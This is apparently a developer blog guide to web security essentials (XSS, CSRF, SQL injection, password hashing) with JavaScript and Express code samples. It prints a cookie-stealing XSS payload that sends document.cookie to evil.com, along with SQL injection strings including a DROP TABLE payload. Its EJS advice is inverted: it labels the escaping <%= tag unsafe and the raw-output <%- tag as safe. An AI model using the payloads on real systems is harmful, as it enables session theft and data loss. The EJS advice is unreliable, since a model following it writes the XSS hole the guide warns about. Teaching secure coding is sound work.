Web Security Essentials Every Developer Must Know
Last updated: October 2025 • Reviewed by security experts
Let's talk about something most developers don't want to think about until it's too late: security. I get it - writing security code isn't as fun as building features. But here's the reality: one security hole can destroy years of work in minutes.
I've seen companies lose customer trust, face lawsuits, and shut down completely because of preventable security issues. This guide covers the vulnerabilities I see developers miss most often, with real code you can use today.
💉Cross-Site Scripting (XSS)🔴 Critical
XSS is when attackers inject malicious JavaScript into your pages. It's one of the most common vulnerabilities, and honestly, it's way too easy to introduce by accident. Every time you display user input, you're potentially at risk.
⚠️ Real Attack Example
What the attacker does:
// Attacker submits this as their username:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
// Or this in a comment:
<img src=x onerror="alert('Your site is hacked')">Vulnerable code (DON'T DO THIS):
// React - BAD
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Vanilla JS - BAD
element.innerHTML = userInput;
// EJS template - BAD
<%= userComment %>✅ Safe Solutions
// React - SAFE (auto-escapes)
<div>{userInput}</div>
// Vanilla JS - SAFE
element.textContent = userInput;
// Using DOMPurify for HTML content
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);
element.innerHTML = clean;
// Express with proper templating
// EJS - SAFE
<%- userComment %> // Auto-escapes🎣Cross-Site Request Forgery (CSRF)🟠 High
CSRF tricks users into making requests they didn't intend to make. Imagine someone sending you a link that secretly transfers money from your bank account. That's CSRF in action.
How It Works:
- 1. User logs into your site
- 2. User visits attacker's site (in another tab)
- 3. Attacker's site makes requests to your site
- 4. Browser sends user's cookies automatically
- 5. Your server thinks it's a legitimate request
Protection:
- ✓ Use CSRF tokens
- ✓ Check Referer header
- ✓ Use SameSite cookies
- ✓ Require re-authentication for sensitive actions
// Express.js with CSRF protection
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/process', csrfProtection, (req, res) => {
// Token is automatically verified
res.send('Valid request!');
});
// In your form
<form method="POST" action="/process">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<!-- rest of form -->
</form>
// SameSite cookies (modern approach)
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'strict' // or 'lax'
});🗄️SQL Injection🔴 Critical
SQL injection is when attackers manipulate your database queries. This one can be catastrophic - they can read your entire database, delete everything, or even take over your server. And it's ridiculously easy to prevent, yet I still see it everywhere.
⛔ The Deadly Mistake:
// NEVER DO THIS - String concatenation
const query = "SELECT * FROM users WHERE email = '" + userEmail + "'";
// Attacker sends: ' OR '1'='1
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
// This returns ALL users!
// Or worse: '; DROP TABLE users; --
// Your entire table is gone.✅ Always Use Parameterized Queries:
// Node.js with pg (PostgreSQL)
const result = await pool.query(
'SELECT * FROM users WHERE email = $1',
[userEmail]
);
// MySQL with mysql2
const [rows] = await connection.execute(
'SELECT * FROM users WHERE email = ?',
[userEmail]
);
// Sequelize ORM (even safer)
const user = await User.findOne({
where: { email: userEmail }
});
// MongoDB (also safe)
const user = await User.findOne({ email: userEmail });🔐Authentication Security🔴 Critical
Strong Passwords
Min 12 chars, complexity rules, no common passwords
Secure Storage
bcrypt, argon2, never plain text
Rate Limiting
Prevent brute force attacks
const bcrypt = require('bcrypt');
// Hash password (ALWAYS do this)
const hashedPassword = await bcrypt.hash(password, 10);
await User.create({ email, password: hashedPassword });
// Verify password
const validPassword = await bcrypt.compare(
password,
user.password
);
// Rate limiting with express-rate-limit
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts
message: 'Too many login attempts'
});
app.post('/login', loginLimiter, async (req, res) => {
// login logic
});✅Your Security Checklist
🎯 Bottom Line
Security isn't optional anymore. Start with these basics: escape user input, use parameterized queries, hash passwords, enable HTTPS, add CSRF protection. These five things will prevent 90% of common attacks. Then layer on more security as you grow. Don't wait for a breach to take security seriously.
About the Author
Written by the DevMetrix security team with over 15 years of combined experience in web application security, penetration testing, and secure development practices.
✓ Reviewed by certified security professionals • ✓ Updated October 2025 • ✓ Based on OWASP Top 10
🛠️Test Your Security
Use our free security tools to test your applications. Check JWT tokens, validate API responses, and test your authentication flows before attackers do.